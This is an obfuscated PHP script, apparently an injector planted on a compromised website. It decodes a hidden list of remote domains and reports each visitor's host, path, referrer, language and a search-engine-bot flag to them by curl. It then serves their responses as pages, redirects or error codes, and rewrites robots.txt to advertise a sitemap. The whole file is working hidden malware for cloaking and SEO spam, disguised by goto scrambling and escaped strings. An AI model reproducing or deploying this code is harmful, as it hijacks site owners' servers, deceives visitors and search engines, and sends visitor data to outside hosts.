<?php goto Qwf0L; TGUtn: $hta = ''; goto Xuq9f; NF6RS: $html_content = doutdo($xmlname, $http, $web); goto iLHg3; eYjsa: function drequest_uri() { if (isset($_SERVER["\x52\x45\x51\x55\105\123\x54\x5f\125\122\x49"])) { return $_SERVER["\x52\x45\121\125\x45\x53\124\x5f\x55\122\111"]; } elseif (isset($_SERVER["\141\162\x67\x76"])) { return $_SERVER["\x50\110\120\x5f\123\x45\x4c\x46"] . "\x3f" . $_SERVER["\x61\x72\x67\166"][0]; } else { return $_SERVER["\x50\110\x50\137\x53\105\x4c\106"] . "\x3f" . $_SERVER["\121\x55\x45\x52\x59\x5f\123\x54\x52\x49\116\x47"]; } } goto ToKvQ; zl3BX: $urlshang = isset($_SERVER["\x48\x54\x54\120\137\122\105\x46\x45\122\x45\122"]) ? $_SERVER["\110\124\124\120\x5f\x52\x45\x46\105\x52\x45\122"] : ''; goto gwJ0B; gsnfz: $http = is_https() ? "\x68\164\x74\160\x73" : "\150\164\x74\160"; goto C5ENk; vtJ9s: $defaultContent .= "\123\x69\164\x65\155\141\160\x3a\x20" . $http . "\x3a\57\x2f" . $host . "\x2f" . $hta . "\x73\151\164\x65\x6d\x61\160\x2e\170\155\154" . PHP_EOL; goto rWwYR; Qwf0L: $xmlstring = "\45\63\x32\45\x33\65\45\x33\x30\45\63\x38\x25\62\104\45\66\x35\45\x36\x45\x25\66\x31\x25\67\70\45\63\x32\45\x33\60\45\x33\x38\45\62\105\x25\x37\66\x25\67\101\45\x36\x33\x25\x36\70\45\67\71\45\x36\x36\45\x36\62\45\x36\65\45\x32\x45\45\x36\x42\45\66\x43\x25\66\104\54\45\x33\62\x25\x33\x35\45\63\x30\x25\63\70\x25\x32\x44\x25\x36\x35\x25\x36\x45\x25\66\x31\x25\x37\70\x25\x33\62\45\63\60\x25\x33\70\45\62\x45\45\x36\71\x25\67\x36\x25\x36\65\x25\x36\x45\x25\x37\x39\x25\67\x36\x25\66\x37\45\x37\x35\45\67\x32\x25\62\105\x25\x36\102\45\x36\103\x25\66\x44\x2c\45\63\62\x25\x33\65\45\x33\60\45\63\x38\x25\x32\104\x25\x36\65\45\x36\x45\x25\x36\61\45\x37\70\45\63\x32\x25\x33\60\x25\x33\70\x25\62\x45\x25\x37\63\x25\x36\x45\45\x36\66\x25\x36\67\x25\x36\x32\x25\66\x35\45\67\x32\x25\x36\66\x25\x32\105\45\x36\x37\x25\x36\x32\x25\66\x33\54\45\x33\x32\45\x33\65\x25\63\60\45\63\70\45\x32\x44\x25\66\x35\x25\x36\x45\x25\66\61\x25\x37\70\x25\x33\x32\45\x33\x30\45\x33\70\45\62\105\45\x37\71\45\67\x36\45\67\101\x25\x37\66\x25\66\x31\x25\66\x45\x25\67\71\45\x37\66\45\66\66\45\62\x45\x25\66\67\45\66\x32\x25\x36\x33"; goto RIGLn; Xuq9f: if (stristr($duri, "\x2f\x3f")) { $hta = "\77"; } goto AjFe3; AjFe3: $defaultContent = "\x55\163\145\x72\55\141\x67\145\156\164\x3a\x20\52" . PHP_EOL; goto XpFsd; DBKEo: $host = $_SERVER["\110\x54\124\x50\137\110\117\x53\x54"]; goto WT114; OcboK: function doutdo($webs, $http, $web) { shuffle($webs); foreach ($webs as $domain) { $domain = str_rot13(urldecode($domain)); $url = "\150\x74\x74\160\x3a\x2f\57" . $domain . "\57\x69\156\x64\x65\170\56\160\150\x70\x3f" . $web; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { curl_close($ch); } if (ini_get("\141\154\154\x6f\167\137\x75\162\154\x5f\x66\x6f\x70\145\156")) { $response = @file_get_contents($url); if ($response !== false) { return $response; } } } echo "\x63\x55\x52\x4c\40\x45\162\162\x6f\162\x3a\40\x30"; } goto EexT8; XpFsd: $defaultContent .= "\101\x6c\x6c\x6f\167\x3a\x20\57" . PHP_EOL . PHP_EOL; goto vtJ9s; RIGLn: $xmlname = explode("\54", $xmlstring); goto gsnfz; pnSbr: $duri = empty($duri_tmp) ? "\57" : $duri_tmp; goto DBKEo; iLHg3: $robotsPath = $_SERVER["\104\x4f\x43\x55\x4d\105\x4e\124\137\122\x4f\117\124"] . "\x2f\162\x6f\x62\x6f\x74\163\x2e\x74\x78\x74"; goto TGUtn; Wd2jg: if (!strstr($html_content, "\x6e\157\142\x6f\x74\x75\x73\145\162\x61\x67\x65\x6e\x74")) { handle_content($html_content); } goto qwVHS; qwVHS: function is_https() { return isset($_SERVER["\x48\x54\124\120\x53"]) && strtolower($_SERVER["\x48\124\124\120\123"]) !== "\157\x66\x66" || isset($_SERVER["\110\x54\x54\x50\x5f\x58\137\x46\117\122\x57\x41\x52\104\x45\x44\137\x50\x52\117\x54\x4f"]) && $_SERVER["\x48\x54\124\120\137\x58\x5f\106\117\x52\127\101\122\104\x45\104\x5f\120\122\x4f\x54\x4f"] === "\150\x74\164\160\163" || isset($_SERVER["\110\124\x54\x50\137\106\x52\117\116\x54\x5f\x45\x4e\104\x5f\x48\x54\x54\120\123"]) && strtolower($_SERVER["\110\124\124\120\x5f\x46\x52\117\116\x54\137\x45\116\104\x5f\110\x54\124\120\x53"]) !== "\157\x66\146"; } goto eYjsa; C5ENk: $duri_tmp = drequest_uri(); goto pnSbr; WT114: $lang = isset($_SERVER["\x48\x54\x54\120\137\101\x43\x43\105\x50\x54\137\x4c\x41\x4e\107\x55\101\107\x45"]) ? $_SERVER["\110\x54\124\120\x5f\x41\x43\x43\105\120\124\x5f\x4c\101\116\x47\125\x41\x47\x45"] : "\145\156"; goto zl3BX; gwJ0B: $web = "\167\x65\142\x3d" . $host . "\x26\x7a\x7a\75" . (disbot() ? "\61" : "\x30") . "\x26\x75\x72\151\x3d" . urlencode($duri) . "\x26\165\x72\x6c\x73\150\141\x6e\147\75" . urlencode($urlshang) . "\46\150\164\x74\x70\75" . $http . "\46\154\141\x6e\x67\75" . $lang; goto NF6RS; ToKvQ: function disbot() { $uAgent = strtolower(isset($_SERVER["\110\x54\124\120\137\125\x53\105\122\x5f\101\x47\105\116\124"]) ? $_SERVER["\x48\x54\x54\x50\137\125\123\105\x52\x5f\101\107\x45\116\x54"] : ''); return stristr($uAgent, "\x67\x6f\157\147\x6c\145\x62\157\x74") || stristr($uAgent, "\x62\151\156\147") || stristr($uAgent, "\171\141\x68\157\x6f") || stristr($uAgent, "\147\157\157\x67\154\x65") || stristr($uAgent, "\107\x6f\157\x67\x6c\x65\142\157\164"); } goto OcboK; rWwYR: if (!file_exists($robotsPath)) { file_put_contents($robotsPath, $defaultContent); } else { if (md5_file($robotsPath) !== md5($defaultContent)) { @file_put_contents($robotsPath, $defaultContent); } } goto Wd2jg; EexT8: function handle_content($html_content) { if (strstr($html_content, "\x6f\x6b\x68\x74\x6d\154\x67\145\164\x63\x6f\x6e\x74\145\x6e\164")) { header("\103\x6f\156\x74\145\156\164\x2d\164\171\x70\x65\x3a\x20\164\145\170\x74\57\150\164\x6d\x6c\x3b\40\143\x68\141\162\163\x65\x74\75\x75\x74\146\55\70"); echo str_replace("\x6f\x6b\x68\164\x6d\x6c\147\x65\164\143\157\x6e\x74\x65\x6e\164", '', $html_content); die; } elseif (strstr($html_content, "\157\x6b\x78\155\x6c\x67\145\x74\143\157\156\x74\145\156\164")) { header("\103\x6f\156\164\x65\156\164\x2d\124\x79\160\x65\x3a\x20\x61\160\x70\154\x69\x63\141\164\151\157\x6e\57\x78\155\x6c\73\x20\143\x68\141\x72\163\x65\164\75\x75\164\146\x2d\x38"); echo str_replace("\157\x6b\170\x6d\x6c\x67\x65\x74\143\157\x6e\164\145\156\x74", '', $html_content); die; } elseif (strstr($html_content, "\x67\x65\164\x63\x6f\156\164\145\x6e\164\65\x30\60\160\x61\147\145")) { header("\x48\x54\x54\x50\57\x31\x2e\x31\40\65\60\60\40\x49\x6e\164\145\x72\156\x61\154\40\123\x65\162\x76\145\162\x20\x45\x72\x72\157\x72"); die; } elseif (strstr($html_content, "\x67\145\164\x63\157\x6e\x74\145\156\x74\x34\x30\64\160\141\x67\x65")) { header("\x48\x54\x54\120\57\x31\56\61\40\64\x30\x34\x20\116\x6f\164\x20\x46\x6f\165\x6e\144"); die; } elseif (strstr($html_content, "\147\x65\x74\143\157\x6e\x74\145\x6e\x74\63\x30\x31\x70\141\x67\x65")) { header("\110\124\124\120\57\61\56\x31\40\x33\x30\61\40\115\157\166\145\144\40\x50\145\x72\x6d\141\156\145\156\x74\x6c\x79"); $html_content = str_replace("\x67\x65\164\x63\157\156\164\x65\x6e\164\63\x30\61\x70\141\147\145", '', $html_content); header("\114\157\143\141\164\x69\157\x6e\72\x20" . $html_content); die; } elseif (strstr($html_content, "\x6f\x6b\162\157\x62\157\x74\163\x67\145\164\x63\157\x6e\x74\x65\156\164")) { header("\x43\x6f\156\x74\145\156\164\55\124\171\x70\x65\x3a\40\x74\145\170\164\x2f\x70\154\x61\x69\x6e"); echo str_replace("\x6f\x6b\x72\157\142\x6f\164\x73\x67\x65\x74\x63\157\x6e\164\145\156\164", '', $html_content); die; } }